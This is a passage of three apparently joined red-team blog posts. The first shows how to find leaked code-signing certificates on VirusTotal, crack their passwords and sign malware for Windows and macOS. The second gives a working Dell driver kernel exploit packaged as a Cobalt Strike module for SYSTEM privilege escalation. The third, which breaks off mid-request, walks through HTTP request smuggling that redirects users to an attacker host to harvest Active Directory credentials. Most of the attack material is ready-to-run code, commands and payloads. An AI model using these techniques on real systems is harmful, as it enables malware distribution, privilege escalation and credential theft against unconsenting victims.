Finding and utilising leaked code signing certificates

2023-06-07T00:00:00+00:00

[TL;DR] Using tools such as VirusTotal, it is possible to find leaked code signing certificates. For some, the password can be cracked, after which they can be used to sign malicious code. In this blog post I explain this process, including responsible disclosure measures.

This blog post consists of 4 chapters. Finding leaked certificates, cracking their passwords, using them to sign malware, and reporting leaked certificates to certificate authorities.

1. Finding certificates

There are many ways to find code signing certificates online. If you’re lucky, you’ll find one that is still valid. In my journey, I mostly used VirusTotal, but it seems that platforms like Grayhat Warfare and GitHub also have many certificates uploaded to them. We’ll use VirusTotal in this blog post.

With the query below, you can find files with a byte sequence commonly observed in signing certificates. The sequence is often part of ASN.1 DER encoded files (RFC7292). At offset 4, a version number should be present that always has the value 3. This is denoted by the 02 01 03. The 4^th byte in the sequence is 30, which represents the start of a new sequence.

content:{02 01 03 30}@4 NOT tag:msi AND NOT tag:peexe

The results can be downloaded via the VirusTotal GUI or API.

I downloaded about 50 certificates that were recently uploaded to VirusTotal.

2. Cracking PKCS#12 passwords

My go-to hash-cracking software is Hashcat. Unfortunately, it does not support cracking PKCS#12 files. John the Ripper does support PKCS#12. First, we need to extract a hash from our PKCS#12 file. This can be done using John’s pfx2john.py Python script. I made a few changes to make the script compatible with Python 3.

pfx2john.py certificate.pfx > certificate.hash

If you’ve generated hashes based on the certificates you found, you can crack them using John with the following arguments. In this example, we use rockyou.txt as a wordlist.

$ john --wordlist=rockyou.txt --format=pfx-opencl ./hashes/*

Using default input encoding: UTF-8
Loaded 13 password hashes with 13 different salts (pfx, (.pfx, .p12) [PKCS#12 PBE (SHA1/SHA2)])
-- snip --
123              (7f61a5a51fe9eef15c9e2ddf03fe10c6.pfx)
123              (66a9882f1d8463501f7fc89b1a12700b.pfx)
                 (83bfdbd568b967baf24b7c44935b9a12.pfx)
test             (certificate.pfx)
-- snip --
Session completed.

:warning: If John cannot load your hash, make sure to install the latest version of John from source (to ensure you have PKCS#12 support).

As you can see, some of the hashes got cracked quite easily. The password for the last one is test. For the cracked certificates, check if they’re trusted and still valid (e.g. not revoked). For the trusted and valid ones, ensure that they have the Code Signing Object Identifier (OID): 1.3.6.1.5.5.7.3.3. Now hopefully you have one left. You’ll be able to use it to sign malware!

PS: If you want to use a more extensive password list with John the Ripper, look for one on Weakpass. You could try to use rules and masks as well. I’ve added two examples below for you to get started.

# With rules
./john --wordlist=rockyou.txt --format=pfx-opencl ./hashes/* --rules:OneRuleToRuleThemAll

# With mask
./john --mask=?1?1?1?1?1?1?1?1?1 -1=[A-z0-9\!\@] --format=pfx-opencl ./hashes/* -min-len=1

3. Signing malware

If you’ve found and cracked a valid and trusted signing certificate, you can use it to sign malware. I’ll demonstrate signing malware for both Windows and MacOS.

Windows

To sign PE files, there is an amazing open source project called osslsigncode. Once installed, run the following command to create a signed version of your malware.

osslsigncode sign -pkcs12 certificate.pfx -pass test -in malware.exe -out signed-malware.exe
Succeeded

To verify if the signature is valid and correctly applied, you can use osslsigncode as well.

osslsigncode verify signed-autoruns.exe

-- snip --
Authenticated attributes:
    Message digest algorithm: SHA256
    Message digest: C89F86DBE18BB37C44857F3535E5984DCA783610BDFEBF18F659F5275D8D5236
    Signing time: Jun  7 18:49:06 2023 GMT
    Microsoft Individual Code Signing purpose

-- snip --
Signature verification: ok

Number of verified signatures: 1
Succeeded

:warning: Please note that in my experience osslsigncode does not check if a certificate has been revoked.

Finally; enjoy your signed malware!

MacOS

If you’re signing an existing (modified) app for MacOS, please first remove the existing signature.

codesign --remove-signature malicious.app

Afterwards, import the signing certificate into your keychain. Right-click it and create a new signing identity. Use a name of your choice.

You can now use this identity to sign your malicious app.

codesign -s "your_identity" malicious.app

To check if everything worked, we verify the signature. If everything is okay, the command will not output anything.

codesign --verify malicious.app

If something is wrong, an error will be shown. This is what the output looks like when, for example, your certificate is revoked.

codesign --verify malicious.app

malicious.app: CSSMERR_TP_CERT_REVOKED
In architecture: x86_64

4. Reporting leaked certificates

In the example above, the leaked certificate was issued by Sectigo. Sectigo, and any other certificate authority, provides ways to report abuse, including fraudulent or malicious use of certificates. I mailed Sectigo with the following details of the certificate that I found:

VirusTotal link (including a link to malware signed by the certificate).
Password.
Serial number.
SHA-256 hash.
SHA-1 hash.

8 days later Sectigo stated that, upon continued investigation, they found that the signing certificate was indeed involved in malicious activity and has now been revoked.

A foundation for kernel exploitation via Cobalt Strike

2023-05-16T00:00:00+00:00

[TL;DR] Dell’s bios kernel driver is vulnerable for an arbitrary kernel memory read/write. This blog describes how to utilise it in a Cobalt Strike (CS) Beacon Object File (BOF) to perform kernel exploitation. As an example, we escalate privileges to NT AUTHORITY\SYSTEM. The result has been published on GitHub.

This blog post consists of 5 chapters. Identifying the vulnerability, developing an exploit to read and write kernel memory, converting everything to a Cobalt Strike (CS) Beacon Object File (BOF) foundation that performs privilege escalation, describing its usage, and a demo of the end result.

1. Vulnerability

Loading the vulnerable driver in IDA presents the following DriverEntry function.

The jmp at the bottom references the actual driver entry written by the developer. That function receives DRIVER_OBJECT* driver and IRP* irp as arguments. In that function the IRP_MJ_DEVICE_CONTROL callback in driver->MajorFunction is set.

MajorFunction is at offset 0x70 on the DRIVER_OBJECT. The offset of the IRP_MJ_DEVICE_CONTROL callback in MajorFunction is at offset 0x70 as well. The sum is 0xE0, which we can see being set on rdi (the DRIVER_OBJECT) in the graph below. Thus, sub_11170 in rax is the IRP_MJ_DEVICE_CONTROL callback.

As expected, sub_11170 contains a large switch statement with various IO control codes (IOCTLs). I use an IDA Python plugin called Call Tree Overviewer which yields an overview of the call tree, to easily identify what certain switch cases do. It turns out some of the IOCTLs call memmove, and some call sub functions with memmove.

One of these sub functions is sub_15294, which is called by two IOCTLs (0x9B0C1EC4 and 0x9B0C1EC8). The only difference between the IOCTLs is that, when calling 0x9B0C1EC4, the dl register is set to 1. sub_15294 receives rcx as argument. rcx is set to rdi, one of the first variables being assembled to a struct, in the IRP_MJ_DEVICE_CONTROL callback. It contains two 64-bit integers. The first one being set to irp->AssociatedIrp->SystemBuffer (a user controlled buffer), and the second one to irp->CurrentStackLocation->InputBufferLength (the length of the user controlled buffer).

In sub_15294, memmove is being called with arguments based on the first pointer in rcx (which is the user input, and it seems to be a struct). The function definition of memmove is included below. Based on the dl register (which was previously set based on the IOCTL being called), certain properties of the struct are either used for destination or source, implying that sub_15294 supports both reading and writing kernel memory based on user input. If this happens without proper input validation, the kernel driver is vulnerable to a write-what-where vulnerability.

void* memmove(void* destination, void* source, size_t num);

In the Windows 64-bit calling convention, the following registers would be used to call memmove.

memmove(rcx, rdx, r8)

Within sub_15294, r9 is being set to irp->AssociatedIrp->SystemBuffer. Then two flows are possible. Within the writing flow (IOCTL 0x9B0C1EC8), before calling memmove:

rcx/destination points to r9+0x18 (the address to write to).
rdx points to the sum of rbx+0x8 and rbx+0x10 (the address to write from).
r8 is set to irp->CurrentStackLocation->InputBufferLength minus 24.

Within the reading flow (IOCTL 0x9B0C1EC4), before calling memmove:

rcx/destination points to the sum of rbx+0x8 and rbx+0x10 (the address to read to).
rdx/source points to r9+0x18 (the address to read from).
r8 is set to irp->CurrentStackLocation->InputBufferLength minus 24 (number of bytes to move).

Concluding, this allows us to construct the following struct:

typedef struct _PACKET
{
    uint64_t ignore;                // Offset 0x00/00: Ignore
    uint8_t* user_address;          // Offset 0x08/08: Address to read from or write to
    uint64_t user_address_offset;   // Offset 0x10/16: Offset (may always be 0)
    uint8_t* kernel_address;        // Offset 0x18/24: Data to write (if writing)
} PACKET, * PPACKET;

Which will call memmove in the following ways:

// Writing kernel memory
memmove(packet->kernel_address, packet->user_address + packet->user_address_offset, 8);

// Reading kernel memory
memmove(packet->user_address + packet->user_address_offset, packet->kernel_address, 8);

As there is no proper input validation whatsoever, the kernel driver is indeed vulnerable to a write-what-where vulnerability.

2. Exploit

To communicate with the driver, we first need to open a handle to it. The pseudocode below shows how to open a handle to the symbolic link of the driver device. Using the software DeviceTree (from OSR), the ACLs on the symbolic link can be inspected. This shows that Everyone has permissions to open handle to the symbolic link. Thus, the code below to create a handle to the symbolic link can even be executed by low-privileged users on the system. This gives threat actors the opportunity for privilege escalation.

HANDLE hDevice = CreateFileW(L"\\\\.\\dbutil_2_3", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

Afterwards, this handle can be used to call the two vulnerable IOCTLs. I’ve created two functions for this. The first one is for reading kernel memory, by passing the device handle and a kernel address to it.

/**
 * Read kernel space memory.
 * 
 * @param HANDLE hDevice The handle to the vulnerable driver.
 * @param uint8_t* kernel_address Kernel space address to read.
 * @return uint8_t* The memory byte stream.
 */
uint8_t* memoryRead(HANDLE hDevice, uint8_t* kernel_address) {
    uint32_t lpBytesReturned;
    PACKET lpBuffer;

    lpBuffer.user_address_offset = 0;
    lpBuffer.kernel_address = kernel_address;

    if (!DeviceIoControl(hDevice, ARBITRARY_READ_IOCTL, &lpBuffer, sizeof(lpBuffer), &lpBuffer, sizeof(lpBuffer), &lpBytesReturned, NULL)) {
        puts("DeviceIoControl error in 'memoryRead'.");
    }
    
    return lpBuffer.value;
}

The second one is for writing kernel memory, by passing the device handle, a kernel address and a 64-bit value to write.

/**
 * Write kernel space memory.
 * 
 * @param HANDLE hDevice The handle to the vulnerable driver.
 * @param uint8_t* address Kernel space address to write to.
 * @param uint8_t* user_address The 64-bit value to write.
 * @return uint8_t* The memory byte stream.
 */
void memoryWrite(HANDLE hDevice, uint8_t* kernel_address, uint8_t* user_address) {
    uint32_t lpBytesReturned;
    PACKET lpBuffer;

    lpBuffer.user_address = user_address;
    lpBuffer.user_address_offset = 0;
    lpBuffer.kernel_address = kernel_address;

    if (!DeviceIoControl(hDevice, ARBITRARY_WRITE_IOCTL, &lpBuffer, sizeof(lpBuffer), &lpBuffer, sizeof(lpBuffer), &lpBytesReturned, NULL)) {
        puts("DeviceIoControl error in 'memoryWrite'.");
    }
}

The code below is proof-of-concept code on how to use these functions. We read from and write to the address 0xfffff78000000000, which holds the KUSER_SHARED_DATA struct on 64-bit Windows machines. The first 64-bits of this struct hold TickCountLowDeprecated (a deprecated ULONG) and TickCountMultiplier also a ULONG.

HANDLE hDevice = CreateFileW(L"\\\\.\\dbutil_2_3", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

if (hDevice == INVALID_HANDLE_VALUE) {
    puts("Failed to open handle to kernel driver.");
    return;
}

// Reading from 0xfffff78000000000
uint64_t initialValue = memoryRead(hDevice, 0xfffff78000000000);
printf("0xfffff78000000000: %x.", initialValue);

// Writing to 0xfffff78000000000
memoryWrite(hDevice, 0xfffff78000000000, 1);
puts("Wrote 1 to 0xfffff78000000000.");

// Recovering 0xfffff78000000000
memoryWrite(hDevice, 0xfffff78000000000, initialValue);
puts("Recovered 0xfffff78000000000 to %x.", initialValue);

3. Foundation

To create a foundation for kernel exploitation via Cobalt Strike, we convert the exploit to a Beacon Object File that utilises the memoryRead and memoryWrite functions. The implementations of these functions may change over time (for example if we use a different vulnerable driver). But if their function definitions stay the same, we can essentialy develop exploits as Beacon Object Files that do not depend on a specific vulnerable driver, but rather the two function definitions.

3.1 Makefile

The first thing we’ll do is create a makefile to compile our code to both a PE-file and a BOF subsequently.

BOFNAME := KernelMii
CC_x64 := x86_64-w64-mingw32-gcc
CC_x86 := i686-w64-mingw32-gcc

all:
    $(CC_x64) -c ./$(BOFNAME).c -o ./$(BOFNAME).x64.o -masm=intel -DBOF 
    $(CC_x86) -c ./$(BOFNAME).c -o ./$(BOFNAME).x86.o -masm=intel -DBOF 
    $(CC_x64) ./$(BOFNAME).c -o ./$(BOFNAME).x64.exe -masm=intel -lole32 -loleaut32 -lntdll
    $(CC_x86) ./$(BOFNAME).c -o ./$(BOFNAME).x86.exe -masm=intel -lole32 -loleaut32 -lntdll

In the above makefile, we’ve defined our x64 and x86 compiler in a variable. Additionally, we define the name of our project in BOFNAME. When running make, all commands in the first action will be executed, in this case everything under all. The first two commands are the compilation to a BOF. As can be seen, the variable BOF is defined to be used for the macro preprocessor. The second two are for the compilation to a PE-file.

3.2 Entrypoint

Usually the main function is exported and called by a PE-loader on, for example, double click by a user. For a BOF, we can define which function is called on run ourselves. The Cobalt Strike documentation always uses the go function, so we’ll go ahead and use that as well. In both main and go, we’ll call the same boot function.

#ifdef BOF
    /**
     * CS BOF entry point.
     * 
     * The Cobalt Strike (CS) Beacon Object File (BOF) entry point.
     * 
     * @param char* args The array of arguments.
     * @param int length The length of the array of arguments.
     */
    void go(char* args, int length) {
        boot();
    }
#else
    /**
     * Test the kernel exploit & elavation code
     *
     * @param int argc Amount of arguments in argv.
     * @param char** Array of arguments passed to the program.
     */
    void main(int argc, char** argv) {
        boot();
    }
#endif

3.3 Aggressor script

Cobalt Strike uses aggressor scripts (.cna files) to import functionality, such as Beacon Object Files, into Cobalt Strike. The aggressor script below tells Cobalt Strike to provide the hacker with a function kernel_mii. When kernel_mii is called, it will import the compiled Beacon Object File, and run the go function.

alias kernel_mii {
    local('$file $handle $object $args');

    # Log the current task
    btask($1, "Tasked beacon to run KernelMii!");

    # Find and log object file
    $file = script_resource("KernelMii.o");
    blog($1, $file);

    # Read the object file
    $handle = openf($file);
    $object = readb($handle, -1);
    closef($handle);

    # Pack empty arguments
    $args = bof_pack($1, "zi");
    
    # Run the object file
    beacon_inline_execute($1, $object, "go", $args);
}

3.4 Headers

To be able to utilise Cobalt Strike functionality (like printing to the Cobalt Strike console), we need to include a Beacon Object header.

#include "headers/beacon.h"

The required contents for the header file can be downloaded here. It contains all required function definitions to utilise Cobalt Strike functionality.

3.5 Console

As stated, printing to the Cobalt Strike console works differently than printing to a Windows console. We need to define cross-compatible print methods and use them instead of functions like printf and puts. The code below defines PRINT and PRINT_ERROR, which will use fprintf (Windows console) or BeaconPrintf depending on whether BOF is defined.

/**
 * Define cross-compatible print methods
 */
#ifdef BOF
    #define PRINT(...) { \
        BeaconPrintf(CALLBACK_OUTPUT, __VA_ARGS__); \
    }
#else
    #define PRINT(...) { \
        fprintf(stdout, "[+] "); \
        fprintf(stdout, __VA_ARGS__); \
        fprintf(stdout, "\n"); \
    }
#endif

#ifdef BOF
    #define PRINT_ERROR(...) { \
        BeaconPrintf(CALLBACK_ERROR, __VA_ARGS__); \
    }
#else
    #define PRINT_ERROR(...) { \
        fprintf(stdout, "[!] "); \
        fprintf(stdout, __VA_ARGS__); \
        fprintf(stdout, "\n"); \
    }
#endif

We can now use these functions as follows.

PRINT_ERROR("Could not open handle. Error: %x.", GetLastError());

3.6 Windows API

The print statement above is a good start, but it won’t work in Cobalt Strike. This is because GetLastError() is called, which is located in Kernel32.dll. It cannot be resolved by the linker (Cobalt Strike).

Beacon Object Files require a __declspec(dllimport) keyword, which is defined in winnt.h as DECLSPEC_IMPORT. This indicates to the compiler that this function is found within a DLL, telling the compiler essentially “this function will be resolved later”. Since Cobalt Strike is the linker, this is needed to tell the compiler to let the linking come later. Since the linking will come later, this also means a full function prototype must be supplied to the Beacon Object File (source).

For GetLastError(), an example is included below. First, we define the prototype definition. Using it, we can call KERNEL32$GetLastError(). However, as we’re cross-compiling to a PE-file as well, it would be nice to just call GetLastError(). To do this, we use the macro preprocessor to redirect GetLastError() to KERNEL32$GetLastError() for Beacon Object Files.

#ifdef BOF
    DECLSPEC_IMPORT DWORD WINAPI KERNEL32$GetLastError();
    #define GetLastError KERNEL32$GetLastError
#endif

Here’s an example header file for various Windows API function definitions.

3.7 Privilege Escalation

The last thing we need to do is perform the actual privilege escalation on the current process. We’ll do this as follows.

Find PsInitialSystemProcess offset in ntoskrnl.exe.
Take note of PsInitialSystemProcess's token.
Iterate the _EPROCESS chain until our own process is found.
Overwrite our token with PsInitialSystemProcess's token.

Find PsInitialSystemProcess offset in ntoskrnl.exe

The first step can be achieved by retrieving the variable PsInitialSystemProcess from ntoskrnl.exe using GetProcAddress(...).

HMODULE hNtOsKrnl = LoadLibraryExW(L"ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES);
if (!hNtOsKrnl) {
    PRINT_ERROR("Cannot load 'ntoskrnl.exe'.");
    CloseHandle(hDevice);
    return;
}

size_t systemProcessOffset = (uint8_t*) ((size_t) GetProcAddress(hNtOsKrnl, "PsInitialSystemProcess") - (size_t) hNtOsKrnl);
PRINT_DEBUG("Identified 'PsInitialSystemProcess' at 0x%x.", systemProcessOffset);

Take note of PsInitialSystemProcess's token.

The second step can be achieved by obtaining the kernel base (for which there are various options), and then using the base and system process offset to find the system process, and then its token.

uint8_t* systemProcessPointerAddress = (uint8_t*) ((size_t) kernelBase + systemProcessOffset);
PRINT_DEBUG("Identified system process pointer address at %p.", systemProcessPointerAddress);

uint8_t* systemProcessAddress = memoryRead(hDevice, systemProcessPointerAddress);
PRINT_DEBUG("Identified system process address at %p.", systemProcessAddress);

uint8_t* systemProcessToken = (uint8_t*) ((size_t) memoryRead(hDevice, systemProcessAddress + 0x4b8) & 0xfffffffffffffff0);
PRINT_DEBUG("Identified system process token at %p.", systemProcessToken);

Iterate the _EPROCESS chain until our own process is found

To find our own process, we find the active process linked list in the system’s _EPROCESS. We iterate the list until the _EPROCESS ID equals our own process ID.

uint8_t* activeProcessLinks = memoryRead(hDevice, systemProcessAddress + 0x448);
PRINT_DEBUG("Identified active process links at %p.", activeProcessLinks);

while (true) {
    if (memoryRead(hDevice, activeProcessLinks - 8) == GetCurrentProcessId()) {
        uint8_t* currentProcess = activeProcessLinks - 0x448;
        PRINT_DEBUG("Found current process (beacon) at %p.", currentProcess);
    }

    activeProcessLinks = memoryRead(hDevice, activeProcessLinks);
}

Overwrite our token with PsInitialSystemProcess's token

The last step is to adjust the code in the step above to overwrite the token if our _EPROCESS is found. We overwrite the token of our own process, at offset 0x4b8, with the token of the system process.

uint8_t* activeProcessLinks = memoryRead(hDevice, systemProcessAddress + 0x448);
PRINT_DEBUG("Identified active process links at %p.", activeProcessLinks);

while (true) {
    if (memoryRead(hDevice, activeProcessLinks - 8) == GetCurrentProcessId()) {
        uint8_t* currentProcess = activeProcessLinks - 0x448;
        PRINT_DEBUG("Found current process (beacon) at %p.", currentProcess);
        memoryWrite(hDevice, currentProcess + 0x4b8, systemProcessToken);
        PRINT_DEBUG("Setting current process (beacon) token to system process token.");
        PRINT_DEBUG("Exploit executed successfully! You are now SYSTEM.");
        break;
    }

    activeProcessLinks = memoryRead(hDevice, activeProcessLinks);
}

4. Usage

If we compile our code and load it into Cobalt Strike via its script manager, we can use it to escalate privileges (if the vulnerable driver is installed and running). This can be done as seen in the command and corresponding output below.

beacon > getuid
[*] Tasked beacon to get userid
[+] host called home, sent : 8 bytes
[*] You are WINDOWS-10\WDKRemoteUser
beacon > kernel_mii
[+] host called home, sent : 21626 bytes
[+] received output
Identifying if vulnerable kernel driver is installed.
Identified 'PsInitialSystemProcess' at 0xCFB420.
Identified 'ntoskrnl.exe' base address at 0x4FC00000.
Identified system process pointer address at 0XFFFFF801508FB420.
Identified system process address at 0XFFFF8C05E565D040.
Identified system process token at 0XFFFFA30329445850.
Identified active process links at 0XFFFF8C05E570C4C8.
Found current process (beacon) at 0XFFFF8C05EB973080.
Setting current process (beacon) token to system process token.
Exploit executed successfully! You are now SYSTEM.
beacon > getuid
[*] Tasked beacon to get userid
[+] host called home, sent : 8 bytes
[*] You are NT AUTHORITY\SYSTEM (admin)

5. Result

The results of this research are available on GitHub. This includes the compiled Beacon Object File and PE-file.

Harvesting credentials via HTTP Request Smuggling

2021-04-19T00:00:00+00:00

Exploiting public-facing services is one of the many ways to gain an initial foothold within a network. And it’s not uncommon to see this in the wild. Various adversaries are known to abuse vulnerabilities such as buffer overflows (G0098), SQL injections (G0087) or other (known) vulnerabilities with functional exploit code (G0016).

As a red team, it’s our task to simulate these adversaries. A red team engagement is a realistic simulation of an adversary that fits the threat profile of the customer. During the simulation, we try to gain access to the crown jewels of the customer using techniques that are known to be used by the adversary. Note that these techniques are not limited to the abuse of technical vulnerabilities, but also include the business (e.g. password policies) and behavioural (e.g. social engineering) aspect. Red team engagements can be used to train blue teams in detecting and acting upon similar attacks, as well as to check how cyber resilient customers are against these attacks.

This blog describes an HTTP Request Smuggling (HRS) vulnerability that we identified during one of our engagements. It can be used to simulate exploiting public-facing services while gaining an initial foothold within the network of a customer. In our case it allowed us to harvest Active Directory credentials which we used to sign into Outlook Web Access (OWA) to view sensitive data.

Afterwards, this blog post will go on to describe how to gain persistent access to OWA by migrating clients to a rogue man-in-the-middle Exchange server.

HTTP Request Smuggling

HTTP Request Smuggling (HRS) vulnerabilities are pretty common nowadays. In 2005 CGISecurity published a white paper that detailed how the vulnerability arises, what it can inflict and how it can be mitigated. If you’re not sure how HRS works, I highly recommended to read that white paper or PortSwigger’s blog post on HRS, to get yourself familiar. In short, HRS arises when a webserver and a proxy can be desynchronized. A threat actor can send a request that is interpreted differently in the frontend server than in the backend server. For instance, the threat actor sends a specially crafted request that is interpreted by the frontend server as 1 request, but is interpreted by the backend server as effectively 2 requests. The second request is thus “smuggled” past the frontend server and ends up at the backend server. This response on that request will then be served up to the next visitor, as James Kettle from PortSwigger describes, as James Kettle from PortSwigger describes.

Abusing HRS can greatly affect the confidentiality, integrity and availability of systems. As published in a responsible disclosure, Evan Custodio was able to take over Slack accounts by abusing HRS to steal cookies. Other examples include credential theft on New Relic and user redirecting on the U.S. Dept Of Defense infrastructure.

In our case, HRS allowed us to harvest Active Directory credentials, which is described in the attack narrative below. This attack narrative includes the entire path, from zero to hero, just like we abused it during our engagement.

Attack narrative

Identifying proxied infrastructure

During an engagement for one of our customers, our goal was to get an initial foothold by penetrating their digital infrastructure. As automated scans did not yield results, we soon switched to manual research. Various services, including Outlook Web Access (OWA), were identified while brute-forcing subdomains using the tool GoBuster. The wordlist in use was generated by @bitquark and contains the 100.000 most frequently used subdomains.

$ gobuster dns -d customer.com -i -w ~/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt --wildcard

===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Domain:            customer.com
[+] Threads:           10
[+] Show IPs:          true
[+] Wildcard forced:   true
[+] Timeout:           1s
[+] Wordlist:          ~/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt
===============================================================
1337/07/16 15:30:59 Starting gobuster in DNS enumeration mode
===============================================================
Found: dev.customer.com [153.92.999.999]
Found: www.customer.com [80.148.999.999]
Found: owa.customer.com [86.213.999.999] <-- Outlook Web Access (OWA)
-- snip --

While examining these services, we discovered that we were communicating with a proxy. There are several methods for detecting if a service runs behind a proxy. A commonly used technique for web applications is to send the following request to the applications, which contains another URI in the first line of the request.

Request:

GET https://actually-request-this-site.com/ HTTP/1.1
Host: owa.customer.com
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Netscape/8.0.4

A regular webserver would generate a “421 Misdirected Request” response. An example is included below.

Response:

HTTP/1.1 421 Misdirected Request
Server: Apache
Content-Length: 322
Content-Type: text/html; charset=iso-8859-1

-- snip --
<p>The client needs a new connection for this request as the requested host name does not match the Server Name Indication (SNI) in use for this connection.</p>
-- snip --

However, when we ran this against owa.customer.com, the server returned the following response, a 302 Moved Temporarily. Back then, I personally thought this redirect was typical behaviour for an HTTP proxy. However, later it sank in to me that it should have been a 200 OK or 203 Non-Authoritative Information with the actual response body, as stated in RFC7230.

Response:

HTTP/1.1 302 Moved Temporarily
Location: https://actually-request-this-site.com/owa/
Server: server1
X-FEServer: US-EXCH-008
-- snip --

Something that does however reveal that a proxy in use, is the Server header, with server1 as value. This is a non-default value for Microsoft IIS servers. By default, the value is Microsoft-IIS/8.5 (or another version). This indicates that, most likely, a proxy altered the response.

Now that we have the indication that owa.customer.com is proxied, we can continue with checking if it is vulnerable to HRS.

Identifying vulnerable proxy setups

With James Kettle’s research in mind, we set out to investigate whether this setup is potentially vulnerable to HRS. To identify if owa.customer.com is vulnerable to HRS, we sent the following request.

POST /owa/auth/logon.aspx?2whS=929722944 HTTP/1.1
 Transfer-Encoding: chunked
Connection: keep-alive
Host: owa.customer.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: nl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 124

44
6kqfa=x&url=https%3a%2f%2fowa.customer.com%2fowa%2f&reason=0&whfto=x
0

GET https://hacker.com/ HTTP/1.0
X-Ignore: 1

This request has a Content-Length of 124, which is the entire body. It will be posted to the proxy, which will use it to determine that the body is 124 bytes long. The request is then forwarded to the actual OWA service.

If this setup is vulnerable to HRS, OWA handles the request differently (using chunked encoding instead of using the content length). Chunked encoding allows a client to send chunks of data in the body. In this case there is one chunk of data. This starts with the hexadecimal 44, which is 68 if converted to decimal. This is the length of the chunk body, which can be seen on the next line. After the 68 characters, the request is terminated with a chunk of size 0. This is a normal request that OWA accepts.

However, the part after the termination is left unprocessed. The OWA service will treat it as part of the next request sent by the proxy (possibly from another user).

This also works the other way around (if the proxy uses chunked encoding and OWA uses the content length). There are multiple ways infrastructures can be vulnerable to HRS. All of these ways are described in the blog of PortSwigger. Actually, the real trick that we used is that we inserted a space before the transfer encoding header; ` Transfer-Encoding: chunked. The proxy was unable to parse it and used the Content-Length to determine the body length. However, OWA *was* able to parse it and used the Transfer-Encoding` header to determine the body length.

When we executed the request above, we got the following response from the server.

HTTP/1.1 200 OK
Cache-Control: no-cache, no-store
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Expires: -1
Server: server1
request-id: 59b59708-3551-44ec-8e05-1e8be2e11859
Set-Cookie: ClientId=MMEESFDUOFIVCMQNW; expires=Wed, 30-Mar-2022 20:57:55 GMT; path=/; HttpOnly
X-Frame-Options: SAMEORIGIN
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Tue, 30 Mar 2021 20:57:54 GMT
Content-Length: 28032

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<!-- Copyright (c) 2011 Microsoft Corporation.  All rights reserved. -->
<!-- OwaPage = ASP.auth_logon_aspx -->
-- snip --

As can be seen, the response status is 200 OK, meaning our request was valid, and the server returned a valid response. At first, I thought this meant it did not interpret the second part of our body, as it would then have produced a 400 Bad Request response status. I thought that the proxy/OWA setup was most likely vulnerable. However, after additional research it turned out OWA accepts any arbitrary POST data.

A verification method with more certainty is to check if another user received the response on our request in the second part of the request body. As the request in the second part of our body normally returns a 301 Moved Permanently, another user should now have been redirected to the hacker.com domain, as that user got the redirect as a response on their request. To verify this, we checked the access log of hacker.com. The important part of it has been included below.

root@hacker:/home/tijme# tail -f /var/log/apache2/other_vhosts_access.log
hacker.com:443 52.12.999.999 - - [19/Dec/2091:12:09:29 +0200] "OPTIONS /Microsoft-Server-ActiveSync?Cmd=Options&User=alice@customer.com&DeviceId=e1568c571e684e0fb1724da85d215dc0&DeviceType=Outlook HTTP/1.1" 200 3473 "-" "Outlook-iOS-Android/1.0"

And indeed, it turns out it is vulnerable! One of the users got redirected to our hacker.com domain, which shows that the HRS request was executed successfully.

Looking at the access log I thought something interesting was happening though. In my opinion the victim should actually have made a GET request to the root or the /owa endpoint of hacker.com, instead of making an OPTIONS request to the Microsoft-Server-ActiveSync endpoint (as it was redirected). However, after looking through RFC7231 it became clear that a client that receives a 301 Moved Permanently may maintain its request method and body for the subsequent request, just like a 308 Permanent Redirect (in which the client is required to maintain the request method and body).

All in all, this means it might be possible to capture more information from the user, which we will cover in the next chapters.

Gaining situational awareness

As seen in the access logs of hacker.com, the victim tried to perform a synchronization action using Microsoft-Server-ActiveSync. ActiveSync is an HTTP protocol which enables users to download mail from an Exchange server, instead of using OWA which only enables the user to view mail in a web client.

One can configure ActiveSync in various mail clients, such as Apple Mail. As can be seen in Apple’s manual for connecting to an ActiveSync endpoint, users have to provide a server, domain, username and password. These details will most likely be sent to the server via HTTP requests. Either during configuration or in every request.

When the credentials are sent to the server actually depends on the type of authentication configured in Exchange. Common types of authentication are “Modern Authentication”, which uses the SAML protocol and therefore generates an authentication token after initial authentication with username and password. The authentication type “Basic Auth” is a method of authenticating by sending a username and password (base64 encoded) in every HTTP request.

Are you starting to get excited yet? If an Exchange server is configured to use ActiveSync with Basic Auth, users are sending username and passwords in every single HTTP request. As we are able to perform HRS, we might be able to intercept these credentials!

Harvesting and (ab)using credentials

We currently know that a successful HRS attack can redirect a victim to a rogue server, that mail clients maintain the request method and most likely also the headers and body, and we know that victims sent their base64 encoded credentials in every ActiveSync request. This means we’re just one step away from capturing these credentials.

Capturing request headers on our rogue server can be done in various ways. For this proof-of-concept I chose to use Burp Collaborator, which acts as a catch all server for HTTP and various other protocols.

I altered the initial HRS request to redirect the victim to my Burp Collaborator URI instead of hacker.com. The final request is included below

POST /owa/auth/logon.aspx?2whS=929722944 HTTP/1.1
 Transfer-Encoding: chunked
Connection: keep-alive
Host: owa.customer.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: nl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 165

44
6kqfa=x&url=https%3a%2f%2fowa.customer.com%2fowa%2f&reason=0&whfto=x
